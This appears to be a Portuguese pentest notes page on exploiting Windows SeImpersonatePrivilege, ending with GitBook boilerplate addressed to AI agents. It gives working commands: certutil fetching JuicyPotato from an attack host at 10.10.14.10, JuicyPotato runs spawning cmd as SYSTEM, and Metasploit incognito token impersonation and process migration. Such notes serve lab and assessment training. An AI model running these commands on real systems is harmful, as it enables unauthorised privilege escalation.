> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md). # SeImpersonatePrivilege `SeImpersonatePrivilege` permite que um processo se faça passar pelo token de outro usuário. Em alvos Windows compatíveis, esse privilégio pode ser abusado para obter uma sessão com privilégios elevados. ## Detecção ```powershell whoami /priv ```
SeImpersonatePrivilege shown in whoami /priv
## Escolha a Técnica Certa Diferentes versões do Windows exigem abordagens diferentes. Trate isso como uma verificação de compatibilidade, não como um exploit de um único comando. | Família da ferramenta | Geralmente relevante para | Notas | | --------------------------------------------- | ----------------------------------------------------------------------------------------- | ------------------------------------------------------------ | | JuicyPotato | Versões mais antigas do Windows Server, anteriores ao endurecimento mais recente do DCOM. | Precisa de um CLSID compatível e comportamento local de COM. | | Caminhos no estilo RoguePotato / RemotePotato | Ambientes em que relay de NTLM ou truques de resolvedor estão em escopo. | Valide primeiro as suposições de rede. | | PrintSpoofer | Alvos mais antigos em que o caminho do Print Spooler está exposto e é compatível. | O nível de patch faz muita diferença. | | Variantes do GodPotato / SweetPotato | Alvos de laboratório com comportamento compatível de named pipe/RPC. | Teste contra a build exata do sistema operacional. | ## Validação Manual com JuicyPotato {% embed url="" %} Disponibilize os binários no host de ataque: ```bash python3 -m http.server 8080 ``` Baixe a ferramenta autorizada no alvo: ```cmd certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe ```
JuicyPotato and netcat transferred to the target
Execute primeiro um comando de validação inofensivo: ```cmd JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt" type C:\Windows\Temp\impersonate-check.txt ``` Se a validação for bem-sucedida, substitua a ação pela carga útil dentro do escopo do laboratório ou da avaliação. ## Verificações Comuns ```cmd whoami /priv systeminfo net start spooler ```
Privileged shell obtained through JuicyPotato
## Variiante Incognito do Metasploit ``` load incognito list_tokens -u ```
Listing tokens with Incognito
``` impersonate_token "ATTACKDEFENSE/Administrator" ```
Impersonating an administrator token
Faça a migração para um processo adequado: ``` pgrep explorer migrate 3512 getprivs ```
Migrating into explorer process
Privileges after token impersonation
## Pontos-chave * Confirme que o privilégio está presente e habilitado. * O caminho de exploração depende muito da versão do Windows e das restrições locais. * Se o host for moderno e estiver corrigido, passe para caminhos de serviço, tarefa agendada ou credenciais antes de perder tempo. * Corrija limitando os serviços que expõem caminhos de impersonação e mantendo os hosts atualizados com patches. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.